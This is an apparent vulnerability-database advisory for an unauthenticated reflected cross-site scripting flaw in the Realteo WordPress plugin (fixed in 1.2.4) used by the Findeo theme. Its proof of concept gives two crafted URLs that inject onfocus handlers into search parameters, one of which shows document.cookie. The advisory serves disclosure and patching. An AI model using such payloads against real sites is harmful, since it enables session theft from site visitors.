WordPress Plugin Vulnerabilities
Realteo < 1.2.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)
Description
The plugin, used by the Findeo Theme, did not properly sanitise the keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page, leading to an unauthenticated reflected Cross-Site Scripting issue.
Proof of Concept
https://example.com/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);//%22 https://example.com/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22&search_radius=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22
Affects Plugins
Fixed in version 1.2.4
Affects Themes
Fixed in version 1.3.1
References
Classification
Miscellaneous
Original Researcher
m0ze
Submitter
m0ze
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-03-31 (about 1 years ago)
Added
2021-04-01 (about 1 years ago)
Last Updated
2021-04-03 (about 1 years ago)